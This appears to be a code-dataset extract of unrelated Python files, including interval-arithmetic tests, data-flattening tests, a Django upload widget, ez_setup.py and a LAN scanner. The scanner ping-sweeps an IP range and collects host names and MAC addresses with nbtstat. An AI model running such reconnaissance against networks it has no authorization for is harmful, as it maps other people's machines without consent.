2]).inverse(), (-interval[1, 2]) ** -1) self.assertEqual(interval[0, 4], interval[-1, 2] ** 2) self.assertEqual(interval[-27, 8], interval[-3, 2] ** 3) self.assertEqual(interval[-1, 2], (interval[-1,2]**-1)**-1) self.assertEqual(interval([-0.38712442133802405]) ** 3, interval([-0.058016524353106828, -0.058016524353106808])) self.assertEqual( interval[fpu.down(lambda: (1/3.0)*(1/3.0)), fpu.up(lambda: (1/3.0)*(1/3.0))], (interval[1]/3.0) ** 2) self.assertEqual( interval[fpu.down(lambda: (1/3.0)*(1/3.0)*(1/3.0)), fpu.up(lambda: (1/3.0)*(1/3.0)*(1/3.0))], (interval[1]/3.0) ** 3) def test_format(self): for x in interval[1], interval[1,2], interval([1,2], [3,4]): self.assertEqual(x, eval(repr(x))) def test_intersection(self): self.assertEqual(interval[1, 2] & interval[0, 3], interval[1, 2]) self.assertEqual(interval[1.1, 1.9] & interval[1.3, 2.5], interval[1.3, 1.9]) self.assertEqual(interval[1.1, 1.9] & interval[0.3, 0.7], interval()) self.assertEqual(interval([1, 3], [4, 5]) & interval[2], interval[2]) self.assertEqual(interval([1, 3], [4, 5]) & interval(2,4.5), interval(2, 4.5)) self.assertEqual(interval[1, 2] & 1.2, interval(1.2)) self.assertEqual(2.1 & interval[1, 2], interval()) def test_union(self): self.assertEqual(interval([1, 6], 9), interval([1, 3], [4, 6]) | interval([2, 5], 9)) self.assertEqual(interval[1, 2] | 2.1, interval([1, 2], 2.1)) self.assertEqual(2.1 | interval[1, 2], interval([1, 2], 2.1)) def test_hull(self): self.assertEqual(interval([1, 9]), interval.hull((interval([1, 3], [4, 6]), interval([2, 5], 9)))) def test_inclusion(self): def verify_in(x, y): self.assertTrue(x in y) self.assertEqual(x & y, interval(x)) verify_in(1.5, interval[1, 2]) verify_in(1, interval[1, 2]) verify_in(2, interval[1, 2]) verify_in(interval[1, 2], interval[1, 2]) verify_in(interval[1.1, 2], interval[1, 2]) verify_in(interval[1, 1.8], interval[1, 2]) verify_in(interval([1.1, 2.2], [3.3, 4.4]), interval(-1, [0, 2.5], [3, 5], [7, 9])) def verify_out(x, y): self.assertFalse(x in y) self.assertNotEqual(x & y, x) verify_out(0, interval[1, 2]) verify_out(4, interval[1, 2]) verify_out(interval[1, 3], interval[2, 4]) verify_out(interval(1, 3), interval(2, 4)) def test_extrema(self): self.assertEqual(interval(1, [2, 3], 4).extrema, interval(1, 2, 3, 4)) def test_midpoint(self): self.assertEqual(interval[0, 4].midpoint, interval[2]) self.assertEqual(interval(-1, 1, 4), interval(-1, [0, 2], [3, 5]).midpoint) class NewtonTestCase(unittest.TestCase): def test_opts(self): self.assertRaises(TypeError, lambda: interval(0,1).newton(None, None, nonexisting=True)) def test_cubic(self): self.assertEqual( interval[-2, 2].newton(lambda x: x**3 - x, lambda x: 3*x**2-1), interval(-1, 0, 1)) self.assertEqual( interval[-5, 5].newton(lambda x: x**3 + x - 10, lambda x: 3*x**2 + 1), interval[2]) self.assertEqual( interval[-5, 5].newton(lambda x: x**3 + x - 15, lambda x: 3*x**2 + 1), interval[5249383869325653 * 2.0 ** -51, 5249383869325655 * 2.0 ** -51]) # The sharpest result would be with 5249383869325654 * 2.0 ** -51 as sup. def test_sqrt2(self): import math f, p = lambda x: x**2 - 2, lambda x: 2 * x u, v = 6369051672525772 * 2.0 **-52, 6369051672525773 * 2.0 **-52 self.assertEqual(v, math.sqrt(2)) s = interval[u, v] self.assertEqual(s, interval[0.1, 5].newton(f, p)) self.assertEqual(s, interval[0, 2].newton(f, p)) self.assertEqual(s, interval[-1, 10].newton(f, p)) self.assertEqual(interval(), interval[2, 5].newton(f, p)) self.assertEqual(-s, interval[-5, 0].newton(f, p)) self.assertEqual(-s|s, interval[-5, +5].newton(f, p)) if __name__ == '__main__': unittest.main() ",1 "eckedIps = 0 onlineIps = 0 unreachable = 0 timedOut = 0 upIpsAddress = [] computerName = [] completeMacAddress = [] executionTime = 0 def __init__(self,fromIp,toIp): startTime = time.time() self.fromIp = fromIp # from 192.168.1.x self.toIp = toIp # to 192.168.x.x self.__checkIfIpIsValid(fromIp) self.__checkIfIpIsValid(toIp) self.__getRange(fromIp,toIp) self.__shellToQueue() #self.__checkIfUp() # run by the shellToQueue queue organizer self.__computerInfoInQueue() endTime = time.time() self.executionTime = round(endTime - startTime,3) def __checkIfIpIsValid(self,ip): def validateRange(val): # valid range => 1 <-> 255 try: val = int(val) if val < 0 or val > 255: print ""Invalid IP Range (""+str(val)+"")"" sys.exit(0) except: print ""Invalid IP"" sys.exit(0) ip = ip.split(""."") firstVal = validateRange(ip[0]) secondVal = validateRange(ip[1]) thirdVal = validateRange(ip[2]) fourthVal = validateRange(ip[3]) return True def __getRange(self,fromIp,toIp): fromIp = fromIp.split(""."") toIp = toIp.split(""."") # toIp must be > fromIp def ip3chars(ipBlock): # input 1; output 001 ipBlock = str(ipBlock) while len(ipBlock) != 3: ipBlock = ""0""+ipBlock return ipBlock fromIpRaw = ip3chars(fromIp[0])+ip3chars(fromIp[1])+ip3chars(fromIp[2])+ip3chars(fromIp[3]) toIpRaw = ip3chars(toIp[0])+ip3chars(toIp[1])+ip3chars(toIp[2])+ip3chars(toIp[3]) if fromIpRaw > toIpRaw: # if from is bigger switch the order temp = fromIp fromIp = toIp toIp = temp currentIp = [0,0,0,0] # all to integers currentIp0 = int(fromIp[0]) currentIp1 = int(fromIp[1]) currentIp2 = int(fromIp[2]) currentIp3 = int(fromIp[3]) toIp0 = int(toIp[0]) toIp1 = int(toIp[1]) toIp2 = int(toIp[2]) toIp3 = int(toIp[3]) firstIp = str(currentIp0)+"".""+str(currentIp1)+"".""+str(currentIp2)+"".""+str(currentIp3) self.__ipsToCheck = [firstIp] while currentIp3 != toIp3 or currentIp2 != toIp2 or currentIp1 != toIp1 or currentIp0 != toIp0: currentIp3 += 1 if currentIp3 > 255: currentIp3 = 0 currentIp2 += 1 if currentIp2 > 255: currentIp2 = 0 currentIp1 += 1 if currentIp1 > 255: currentIp1 = 0 currentIp0 += 1 addIp = str(currentIp0)+"".""+str(currentIp1)+"".""+str(currentIp2)+"".""+str(currentIp3) self.__ipsToCheck.append(addIp) def __shellToQueue(self): # write them in the shell queue maxPingsAtOnce = 200 currentQueuedPings = 0 for pingIp in self.__ipsToCheck: proc = subprocess.Popen(['ping','-n','1',pingIp],stdout=subprocess.PIPE,shell=True) self.__shellPings.append(proc) currentQueuedPings += 1 if currentQueuedPings >= maxPingsAtOnce: #execute shells self.__checkIfUp() currentQueuedPings = 0 self.__shellPings = [] self.__checkIfUp() # execute last queue def __checkIfUp(self): # execute the shells & determine whether the host is up or not for shellInQueue in self.__shellPings: pingResult = """" shellInQueue.wait() while True: line = shellInQueue.stdout.readline() if line != """": pingResult += line else: break; self.checkedIps += 1 if 'unreachable' in pingResult: self.unreachable += 1 elif 'timed out' in pingResult: self.timedOut += 1 else: self.onlineIps += 1 currentIp = self.__ipsToCheck[self.checkedIps-1] self.upIpsAddress.append(currentIp) def __computerInfoInQueue(self): # shell queue for online hosts maxShellsAtOnce = 255 currentQueuedNbst = 0 for onlineIp in self.upIpsAddress: proc = subprocess.Popen(['\\Windows\\sysnative\\nbtstat.exe','-a',onlineIp],stdout=subprocess.PIPE,shell=True) self.__shell2Nbst.append(proc) currentQueuedNbst += 1 if currentQueuedNbst >= maxShellsAtOnce: # execute shells self.__gatherComputerInfo() currentQueuedNbst = 0 self.__shell2Nbst = [] self.__gatherComputerInfo() # execute last queue def __gatherComputerInfo(self): # execute the shells and find host Name and MAC for shellInQueue in self.__shell2Nbst: nbstResult = """" shellInQueue.wait() computerNameLine = """" macAddressLine = """" computerName = """" macAddress = """" while True: line = shellInQueue.stdout.readline() if line != """": if '<00>' in line and 'UNIQUE' in line: computerNameLine = line if 'MAC Address' in line: macAddressLine = line else: break; computerName = re.findall('([ ]+)(.*?)([ ]+)<00>', computerNameLine) macAddress = re.findall('([A-Z0-9]+)-([A-Z0-9]+)-([A-Z0-9]+)-([A-Z0-9]+)-([A-Z0-9]+)-([A-Z0-9]+)',macAddressLine) try: self.computerName.append(computerName[0][1]) except: self.computerName.append("""") completeMacAddress = """" firstMacElement = 0 try: for macEach in macAddress[0]: if firstMacElement == 0: firstMacElement += 1 else: completeMacAddress += "":"" completeMacAddress += macEach firstMacElement = 0 except: completeMacAddress = """" self.completeMacAddress.append(completeMacAddress) def readValue(self): # debugging use only ips = [] for ip in self.completeMacAddress: ips.append(ip) return ips print ""\t\t---LANScanner v1.0---\n"" # brief tutorial print ""Sample input data:"" print ""FromIP: 192.168.1.50"" print ""ToIP: 192.168.1.20"" print ""---"" # input fromIp = raw_input(""From: "") toIp = raw_input(""To: "") # enter values to class userRange = checkIfUp(fromIp,toIp) # read class values print """" #print userRange.readValue() # debugging use only print ""Checked"",userRange.checkedIps,""IPs"" print """" print ""Online:"",str(userRange.onlineIps)+""/""+str(userRange.checkedIps) print ""Unreachable:"",userRange.unreachable,""Timed out:"",userRange.timedOut print """" # newline print ""Online IPs:"" print ""IP\t\tNAME\t\tMAC"" counter = 0 for onlineIp in userRange.upIpsAddress: print onlineIp+""\t""+userRange.computerName[counter]+""\t""+userRange.completeMacAddress[counter] counter += 1 print """" print ""Took"",userRange.executionTime,""seconds""",1 ", flatten_nested_dicts, get_level_keys, flatten, sort_fields from databot.exporters import jsonl from databot.exporters import pandas @pytest.fixture def data(): return { 'a': 1, 'b': 2, 'c': { 'x': 1, 'y': 2, 'z': ['foo', 'bar', 'baz'], } } def test_flatten_rows_update(data): rows = [ Row(key=1, value={'text': 'abc'}), Row(key=1, value={'text': 'abcde'}), ] update = {'size': databot.this.value.text.apply(len)} assert list(flatten(rows, include=['key', 'size'], update=update)) == [ ('key', 'size'), (1, 3), (1, 5), ] def test_flattenjson(): rows = [ {'key': 1, 'value': {'foo': 'bar', 'events': [ {'name': 'Event 1', 'date': '2017-01-01', 'people': ['a', 'b']}, {'name': 'Event 2', 'date': '2017-01-02', 'people': ['a']}, ]}}, {'key': 2, 'value': {'foo': 'baz', 'events': [ {'name': 'Event 3', 'date': '2017-01-03', 'people': ['x', 'y']}, {'name': 'Event 4', 'date': '2017-01-04', 'people': ['z']}, ]}}, ] assert list(map(dict, flatten_nested_lists(rows, include={('key',), ('value', 'events', 'date')}))) == [ {('key',): 1, ('value', 'events', 'date'): '2017-01-01'}, {('key',): 1, ('value', 'events', 'date'): '2017-01-02'}, {('key',): 2, ('value', 'events', 'date'): '2017-01-03'}, {('key',): 2, ('value', 'events', 'date'): '2017-01-04'}, ] assert list(map(dict, flatten_nested_lists(rows, include={('key',), ('value', 'events', 'people')}))) == [ {('key',): 1, ('value', 'events', 'people'): 'a'}, {('key',): 1, ('value', 'events', 'people'): 'b'}, {('key',): 1, ('value', 'events', 'people'): 'a'}, {('key',): 2, ('value', 'events', 'people'): 'x'}, {('key',): 2, ('value', 'events', 'people'): 'y'}, {('key',): 2, ('value', 'events', 'people'): 'z'}, ] assert [{v for k, v in x} for x in flatten_nested_lists(rows, include=[('key',), ('value',)])] == [ {1, 'bar', '2017-01-01', 'Event 1', 'a'}, {1, 'bar', '2017-01-01', 'Event 1', 'b'}, {1, 'bar', '2017-01-02', 'Event 2', 'a'}, {2, 'baz', '2017-01-03', 'Event 3', 'x'}, {2, 'baz', '2017-01-03', 'Event 3', 'y'}, {2, 'baz', '2017-01-04', 'Event 4', 'z'}, ] assert [{v for k, v in x} for x in flatten_nested_lists(rows)] == [ {1, 'bar', '2017-01-01', 'Event 1', 'a'}, {1, 'bar', '2017-01-01', 'Event 1', 'b'}, {1, 'bar', '2017-01-02', 'Event 2', 'a'}, {2, 'baz', '2017-01-03', 'Event 3', 'x'}, {2, 'baz', '2017-01-03', 'Event 3', 'y'}, {2, 'baz', '2017-01-04', 'Event 4', 'z'}, ] def test_flatten_nested_dicts(): assert set(flatten_nested_dicts({'a': 1, 'b': 2, 'c': 3})) == { (('a',), 1), (('b',), 2), (('c',), 3), } def test_flatten_nested_dicts_include(): assert set(flatten_nested_dicts({'a': 1, 'b': 2, 'c': 3}, include=[('b',), ('a',), ('c',)])) == { (('b',), 2), (('a',), 1), (('c',), 3), } def test_get_level_keys(): assert list(get_level_keys(keys=['c', 'b', 'a'], field=(), include=())) == ['a', 'b', 'c'] assert list(get_level_keys(keys=['c', 'b', 'a'], field=(), include=[('b',), ('a',), ('c',)])) == ['b', 'a', 'c'] assert list(get_level_keys(keys=['c', 'b', 'a'], field=('x',), include=())) == ['a', 'b', 'c'] assert list(get_level_keys(keys=['c', 'b', 'a'], field=('x',), include=[('x', 'b',), ('x', 'c',)])) == ['b', 'c'] assert list(get_level_keys(keys=['c', 'b', 'a'], field=(), include=[('b',), ('x',)])) == ['b'] assert list(get_level_keys(keys=['c', 'b', 'a'], field=('x', 'y'), include=[('x',)])) == ['a', 'b', 'c'] def test_flatten(): rows = [ Row(key=1, value={'foo': 'bar', 'events': [ {'name': 'Event 1', 'date': '2017-01-01', 'people': ['a', 'b']}, {'name': 'Event 2', 'date': '2017-01-02', 'people': ['a']}, ]}), Row(key=2, value={'foo': 'baz', 'events': [ {'name': 'Event 3', 'date': '2017-01-03', 'people': ['x', 'y']}, {'name': 'Event 4', 'date': '2017-01-04', 'people': ['z']}, ]}), ] assert list(flatten(rows)) == [ ('events.date', 'events.name', 'events.people', 'foo', 'key'), ('2017-01-01', 'Event 1', 'a', 'bar', 1), ('2017-01-01', 'Event 1', 'b', 'bar', 1), ('2017-01-02', 'Event 2', 'a', 'bar', 1), ('2017-01-03', 'Event 3', 'x', 'baz', 2), ('2017-01-03', 'Event 3', 'y', 'baz', 2), ('2017-01-04', 'Event 4', 'z', 'baz', 2), ] assert list(flatten(rows, include=('key', 'foo', 'events.people'))) == [ ('key', 'foo', 'events.people'), (1, 'bar', 'a'), (1, 'bar', 'b'), (1, 'bar', 'a'), (2, 'baz', 'x'), (2, 'baz', 'y'), (2, 'baz', 'z'), ] assert list(flatten(rows, include=('key', 'foo'))) == [ ('key', 'foo'), (1, 'bar'), (2, 'baz'), ] def test_sort_fields(): def _(fields, include): fields = [tuple(x.split('.')) for x in fields] include = [tuple(x.split('.')) for x in include] return ['.'.join(x) for x in sort_fields(fields, include)] assert _(['c', 'b', 'a'], []) == ['a', 'b', 'c'] assert _(['c', 'b', 'a'], ['a', 'c']) == ['a', 'c'] assert _(['x.c', 'x.b', 'x.a'], ['x']) == ['x.a', 'x.b', 'x.c'] assert _(['z', 'x.b', 'x.a'], ['x', 'z']) == ['x.a', 'x.b', 'z'] def test_flatten_rows_update_without_include(data): rows = [ Row(key=1, value={'text': 'abc'}), Row(key=1, value={'text': 'abcde'}), ] update = {'size': databot.this.value.text.apply(len)} assert list(flatten(rows, update=update)) == [ ('key', 'size', 'text'), (1, 3, 'abc'), (1, 5, 'abcde'), ] def test_flatten_rows_callable_update(data): rows = [ Row(key=1, value={'text': 'abc'}), Row(key=1, value={'text': 'abcde'}), ] def update(row): return {'size': len(row.value['text'])} assert list(flatten(rows, update=update)) == [ ('size',), (3,), (5,), ] def test_flatten_rows_include(data): rows = [ Row(key=1, value={'a': 1}), Row(key=2, value={'b': 2}), ] assert list(flatten(rows, include=['a', 'b'])) == [ ('a', 'b'), (1, None), (None, 2), ] def test_flatten_rows_include_value(data): rows = [ Row(key=1, value='a'), Row(key=2, value='b'), ] assert list(flatten(rows, include=['key', 'value'])) == [ ('key', 'value'), (1, 'a'), (2, 'b'), ] def test_flatten_rows_value(data): rows = [ Row(key=1, value='a'), Row(key=2, value='b'), ] assert list(flatten(rows)) == [ ('key', 'value'), (1, 'a'), (2, 'b'), ] def test_flatten_int_key(data): rows = [ Row(key=1, value={'year': {2000: 1, 2001: 2}}), Row(key=2, value={'year': {2000: 3, 2001: 4}}), ] assert list(flatten(rows)) == [ ('key', 'year.2000', 'year.2001'), (1, 1, 2), (2, 3, 4), ] def test_flatten_list(data): rows = [ Row(key=1, value={'events': [ {'name': 'Event 1', 'date': '2017-01-01'}, {'name': 'Event 2', 'date': '2017-02-01'}, ]}), Row(key=2, value={'events': [ {'name': 'Event 3', 'date': '2017-03-01'}, {'name': 'Event 4', 'date': '2017-04-01'}, ]}), ] assert list(flatten(rows)) == [ ('events.date', 'events.name', 'key'), ('2017-01-01', 'Event 1', 1), ('2017-02-01', 'Event 2', 1), ('2017-03-01', 'Event 3', 2), ('2017-04-01', 'Event 4', 2), ] def test_jsonl(bot): pipe = bot.define('p1').append([('1', 'a'), ('2', 'b')]) stream = io.StringIO() jsonl.export(stream, pipe.rows()) assert stream.getvalue().splitlines() == [ '{""key"": ""1"", ""value"": ""a""}', '{""key"": ""2"", ""value"": ""b""}', ] def test_jsonl_dict(bot): pipe = bot.define('p1').append([('1', {'a': 2}), ('2', {'b': 3})]) stream = io.StringIO() jsonl.export(stream, pipe.rows()) assert stream.getvalue().splitlines() == [ '{""key"": ""1"", ""a"": 2}', '{""key"": ""2"", ""b"": 3}', ] def test_pandas_rows_to_dataframe_items(): rows = [ [1, 'a', 'x'], [2, 'b', 'y'], ] assert list(pandas.rows_to_dataframe_items(rows, 0)) == [ (1, ['a', 'x']), (2, ['b', 'y']) ] assert list(pandas.rows_to_dataframe_items(rows, 2)) == [ ('x', [1, 'a']), ('y', [2, 'b']) ] def test_pandas(bot): pipe = bot.define('p1').append([ (1, {'a': 10}), (2, {'a': 20}), ]) assert [dict(x._asdict()) for x in pipe.export(pd).itertuples()] == [ {'Index': 1, 'a': 10.0}, {'Index': 2, 'a': 20.0}, ] ",1 """"""" Custom exception handler that returns errors object as an array """""" # Import inside method to avoid errors when the OSF is loaded without Django from rest_framework.views import exception_handler response = exception_handler(exc, context) # Error objects may have the following members. Title removed to avoid clash with node ""title"" errors. top_level_error_keys = ['id', 'links', 'status', 'code', 'detail', 'source', 'meta'] errors = [] if response: message = response.data if isinstance(message, dict): for error_key, error_description in message.iteritems(): if error_key in top_level_error_keys: errors.append({error_key: error_description}) else: if isinstance(error_description, basestring): error_description = [error_description] errors.extend([{'source': {'pointer': '/data/attributes/' + error_key}, 'detail': reason} for reason in error_description]) else: if isinstance(message, basestring): message = [message] errors.extend([{'detail': error} for error in message]) response.data = {'errors': errors} return response # Custom Exceptions the Django Rest Framework does not support class Gone(APIException): status_code = status.HTTP_410_GONE default_detail = ('The requested resource is no longer available.') class InvalidFilterError(ParseError): """"""Raised when client passes an invalid filter in the querystring."""""" default_detail = 'Querystring contains an invalid filter.' ",1 " # # # # Copyright (C) 2007, 2008 Paul Pogonyshev. # # # # This library is free software; you can redistribute it and/or # # modify it under the terms of the GNU Lesser General Public License # # as published by the Free Software Foundation; either version 2.1 # # of the License, or (at your option) any later version. # # # # This library is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # Lesser General Public License for more details. # # # # You should have received a copy of the GNU Lesser General Public # # License along with this library; if not, write to the Free # # Software Foundation, Inc., 51 Franklin Street, Fifth Floor, # # Boston, MA 02110-1301 USA # #--------------------------------------------------------------------# """""" cNotify package provides three main concepts: I{L{signals }}, I{L{conditions }} and I{L{variables }}. Signals are basically lists of callables that can be I{emitted} and then will call all contained callables (I{handler} of a signal) in turn. Conditions are boolean values complemented with a signal that is emitted when condition’s I{state} changes. Variables are akin to conditions but can hold arbitrary I{values}, not just booleans. Conditions, unlike variables, can also be combined using standard logic operators, like negation, conjunction and so on. All three concepts provide separation between providers (writers, setters) and listeners (readers, getters) of some entity. Conditions and variables make the entity explicit—it is a boolean state for the former and arbitrary Python object for the latter (though derived variable classes can restrict the set of allowed values.) Here is a quick example: >>> from cnotify.variable import * ... name = Variable () ... ... import sys ... name.changed.connect ( ... lambda string: sys.stdout.write ('Hello there, %s!\\n' % string)) ... ... name.value = 'Chuk' Note that when setting the C{name} variable, you don’t need to know who, if anyone, listens to changes to it. Interested parties take care to express their interest themselves and are informed upon a change automatically. Here is a little more elaborate example with the same functionality (it requires U{PyGTK }): >>> from cnotify.variable import * ... import gtk ... ... name = Variable () ... ... def welcome_user (name_string): ... dialog = gtk.MessageDialog (None, 0, gtk.MESSAGE_INFO, gtk.BUTTONS_OK, ... 'Hello there, %s!' % name_string) ... dialog.run () ... dialog.destroy () ... ... name.changed.connect (welcome_user) ... ... def set_name_from_entry (entry): ... name.value = entry.get_text () ... ... window = gtk.Window () ... window.set_title ('Enter name') ... ... entry = gtk.Entry () ... entry.show () ... window.add (entry) ... ... entry.connect ('activate', set_name_from_entry) ... window.connect ('destroy', lambda window: gtk.main_quit ()) ... ... window.present () ... ... gtk.main () Note that C{window} knows absolutely nothing about how changes to C{name} variable are handled. If you play with this example, you will notice one thing: pressing C{Enter} in the main window twice doesn’t pop the welcoming dialog twice. That is because both conditions and variables emit their ‘changed’ signal I{only} when their state/value actually changes, not on every assignment. Now a final, quite complicated, example introducing conditions and some other features: >>> from cnotify.all import * ... ... pilots = Variable () ... fuel = Variable () ... ... import sys ... ... pilots.changed.connect ( ... lambda pilots: sys.stdout.write ('Pilots are %s\\n' % pilots)) ... fuel.changed.connect ( ... lambda amount: sys.stdout.write ('Got %d litres of fuel\\n' % amount)) ... ... def ready_state_changed (ready): ... if ready: ... sys.stdout.write ('Ready to get off!\\n') ... else: ... sys.stdout.write ('Missing pilots or fuel\\n') ... ... ready = pilots.is_true () & fuel.predicate (lambda amount: amount > 0) ... ready.store (ready_state_changed) ... ... pilots.value = 'Jen and Jim' ... fuel.value = 500 ... ... fuel.value = 0 First line of example shows a way to save typing by importing all package contents at once. Whether to use this technique is up to you. Following lines up to C{ready = ...} should be familiar. Now let’s consider that assignment closer. First, C{L{pilots.is_true () }} code creates a condition that is true depending on C{pilots} value (true for non-empty sequences in our case.) It is just a convenience wrapper over C{L{AbstractVariable.predicate }} method. Now, the latter is also used directly in this line of code. It creates a condition that is true as long as variable’s value conforms to the passed in predicate. In particular, C{fuel.predicate (lambda amount: amount > 0)} creates a condition that is true if C{fuel}’s value is greater than zero. Predicate conditions will recompute their state each time variable’s value changes and that’s the point in using them. Finally, two just constructed conditions are combined into a third condition using ‘and’ operator (C{&}). This third condition will be true if and only if I{both} its term conditions are true. Conditions support four logic operations: negation, conjunction, disjunction and xoring (with these operators: C{~}, C{&}, C{|} and C{^}.) In addition, each condition has C{L{if_else }} method, which is much like Python’s C{if} operator. The next line introduces one more new method: C{L{store }}. It is really just like connecting its only argument to the ‘changed’ signal, except that it is also called once with the current state of the condition (or value of a variable.) The example should produce this output:: Missing pilots or fuel Pilots are Jen and Jim Got 500 litres of fuel Ready to get off! Got 0 litres of fuel Missing pilots or fuel Notable here is the output from C{ready_state_changed} function. It is called once at the beginning from the C{store} method with the state of C{ready} condition (then C{False}.) Both later calls correspond to changes in C{ready}’s state. When both C{pilots} and C{fuel} variables are set, corresponding predicate conditions become true and so does the C{ready} condition. However, when one of the predicate conditions becomes false (as the result of C{fuel} being set to zero), C{ready} turns false again. Note that C{ready_state_changed} is not called in between of setting C{pilots} and C{fuel} variable. C{ready} state is recomputed, but since it remains the same, ‘changed’ signal is not emitted. G{packagetree} """""" __docformat__ = 'epytext en' # CONFIGURATION __version__ = '0.3.2.1' """""" Version of Py-cnotify, as a string. """""" version_tuple = (0, 3, 2, 1) """""" Version of Py-cnotify, as a tuple of integers. It is guaranteed that version tuples of later versions will compare greater that those of earlier versions. """""" # /CONFIGURATION # Local variables: # mode: python # python-indent: 4 # indent-tabs-mode: nil # fill-column: 90 # End: ",1 "go.template.defaultfilters import slugify from django.utils.encoding import smart_text from unidecode import unidecode from django.forms.widgets import FILE_INPUT_CONTRADICTION, CheckboxInput, ClearableFileInput class ImagePreviewWidget(AdminFileWidget): template_name = 'admin/attachment/widgets/preview_image_input.html' def render(self, name, value, attrs=None, renderer=None): output = [] output.append(super(AdminFileWidget, self).render(name, value, attrs)) # really for AdminFileWidget instance = getattr(value, 'instance', None) if instance is not None and value: output = ['' % \ (instance.image.url, instance.thumb.url, instance.image)] + output return mark_safe(u''.join(output)) def value_from_datadict(self, data, files, name): for key, file in files.items(): filename = file._get_name() ext = u"""" if '.' in filename: ext = u""."" + filename.rpartition('.')[2] filename = filename.rpartition('.')[0] filename = re.sub(r'[_.,:;@#$%^&?*|()\[\]]', '-', filename) filename = slugify(unidecode(smart_text(filename))) + ext files[key]._set_name(filename) upload = super(ImagePreviewWidget, self).value_from_datadict(data, files, name) if not self.is_required and CheckboxInput().value_from_datadict( data, files, self.clear_checkbox_name(name)): if upload: # If the user contradicts themselves (uploads a new file AND # checks the ""clear"" checkbox), we return a unique marker # object that FileField will turn into a ValidationError. return FILE_INPUT_CONTRADICTION # False signals to clear any existing value, as opposed to just None return False return upload class ImagePreviewWidgetHorizontal(ImagePreviewWidget): template_name = 'admin/attachment/widgets/preview_image_input_horizontal.html' class ImagePreviewWidgetVertical(ImagePreviewWidget): template_name = 'admin/attachment/widgets/preview_image_input_vertical.html' class FileWidget(ClearableFileInput): def value_from_datadict(self, data, files, name): for key, file in files.items(): filename = file._get_name() ext = u"""" if '.' in filename: ext = u""."" + filename.rpartition('.')[2] filename = filename.rpartition('.')[0] filename = re.sub(r'[_.,:;@#$%^&?*|()\[\]]', '-', filename) filename = slugify(unidecode(smart_text(filename))) + ext files[key]._set_name(filename) return files.get(name, None) ",1 "add this to the top of your setup.py:: from ez_setup import use_setuptools use_setuptools() To require a specific version of setuptools, set a download mirror, or use an alternate download directory, simply supply the appropriate options to ``use_setuptools()``. This file can also be run as a script to install or upgrade setuptools. """""" import os import shutil import sys import tempfile import zipfile import optparse import subprocess import platform import textwrap import contextlib from distutils import log try: # noinspection PyCompatibility from urllib.request import urlopen except ImportError: # noinspection PyCompatibility from urllib2 import urlopen try: from site import USER_SITE except ImportError: USER_SITE = None DEFAULT_VERSION = ""7.0"" DEFAULT_URL = ""https://pypi.python.org/packages/source/s/setuptools/"" def _python_cmd(*args): """""" Return True if the command succeeded. """""" args = (sys.executable,) + args return subprocess.call(args) == 0 def _install(archive_filename, install_args=()): with archive_context(archive_filename): # installing log.warn('Installing Setuptools') if not _python_cmd('setup.py', 'install', *install_args): log.warn('Something went wrong during the installation.') log.warn('See the error message above.') # exitcode will be 2 return 2 def _build_egg(egg, archive_filename, to_dir): with archive_context(archive_filename): # building an egg log.warn('Building a Setuptools egg in %s', to_dir) _python_cmd('setup.py', '-q', 'bdist_egg', '--dist-dir', to_dir) # returning the result log.warn(egg) if not os.path.exists(egg): raise IOError('Could not build the egg.') class ContextualZipFile(zipfile.ZipFile): """""" Supplement ZipFile class to support context manager for Python 2.6 """""" def __enter__(self): return self def __exit__(self, type, value, traceback): self.close() def __new__(cls, *args, **kwargs): """""" Construct a ZipFile or ContextualZipFile as appropriate """""" if hasattr(zipfile.ZipFile, '__exit__'): return zipfile.ZipFile(*args, **kwargs) return super(ContextualZipFile, cls).__new__(cls) @contextlib.contextmanager def archive_context(filename): # extracting the archive tmpdir = tempfile.mkdtemp() log.warn('Extracting in %s', tmpdir) old_wd = os.getcwd() try: os.chdir(tmpdir) with ContextualZipFile(filename) as archive: archive.extractall() # going in the directory subdir = os.path.join(tmpdir, os.listdir(tmpdir)[0]) os.chdir(subdir) log.warn('Now working in %s', subdir) yield finally: os.chdir(old_wd) shutil.rmtree(tmpdir) def _do_download(version, download_base, to_dir, download_delay): egg = os.path.join(to_dir, 'setuptools-%s-py%d.%d.egg' % (version, sys.version_info[0], sys.version_info[1])) if not os.path.exists(egg): archive = download_setuptools(version, download_base, to_dir, download_delay) _build_egg(egg, archive, to_dir) sys.path.insert(0, egg) # Remove previously-imported pkg_resources if present (see # https://bitbucket.org/pypa/setuptools/pull-request/7/ for details). if 'pkg_resources' in sys.modules: del sys.modules['pkg_resources'] import setuptools setuptools.bootstrap_install_from = egg def use_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL, to_dir=os.curdir, download_delay=15): to_dir = os.path.abspath(to_dir) rep_modules = 'pkg_resources', 'setuptools' imported = set(sys.modules).intersection(rep_modules) try: import pkg_resources except ImportError: return _do_download(version, download_base, to_dir, download_delay) try: pkg_resources.require(""setuptools>="" + version) return except pkg_resources.DistributionNotFound: return _do_download(version, download_base, to_dir, download_delay) except pkg_resources.VersionConflict as VC_err: if imported: msg = textwrap.dedent("""""" The required version of setuptools (>={version}) is not available, and can't be installed while this script is running. Please install a more recent version first, using 'easy_install -U setuptools'. (Currently using {VC_err.args[0]!r}) """""").format(VC_err=VC_err, version=version) sys.stderr.write(msg) sys.exit(2) # otherwise, reload ok del pkg_resources, sys.modules['pkg_resources'] return _do_download(version, download_base, to_dir, download_delay) def _clean_check(cmd, target): """""" Run the command to download target. If the command fails, clean up before re-raising the error. """""" try: subprocess.check_call(cmd) except subprocess.CalledProcessError: if os.access(target, os.F_OK): os.unlink(target) raise def download_file_powershell(url, target): """""" Download the file at url to target using Powershell (which will validate trust). Raise an exception if the command cannot complete. """""" target = os.path.abspath(target) ps_cmd = ( ""[System.Net.WebRequest]::DefaultWebProxy.Credentials = "" ""[System.Net.CredentialCache]::DefaultCredentials; "" ""(new-object System.Net.WebClient).DownloadFile(%(url)r, %(target)r)"" % vars() ) cmd = [ 'powershell', '-Command', ps_cmd, ] _clean_check(cmd, target) def has_powershell(): if platform.system() != 'Windows': return False cmd = ['powershell', '-Command', 'echo test'] with open(os.path.devnull, 'wb') as devnull: try: subprocess.check_call(cmd, stdout=devnull, stderr=devnull) except Exception: return False return True download_file_powershell.viable = has_powershell def download_file_curl(url, target): cmd = ['curl', url, '--silent', '--output', target] _clean_check(cmd, target) def has_curl(): cmd = ['curl', '--version'] with open(os.path.devnull, 'wb') as devnull: try: subprocess.check_call(cmd, stdout=devnull, 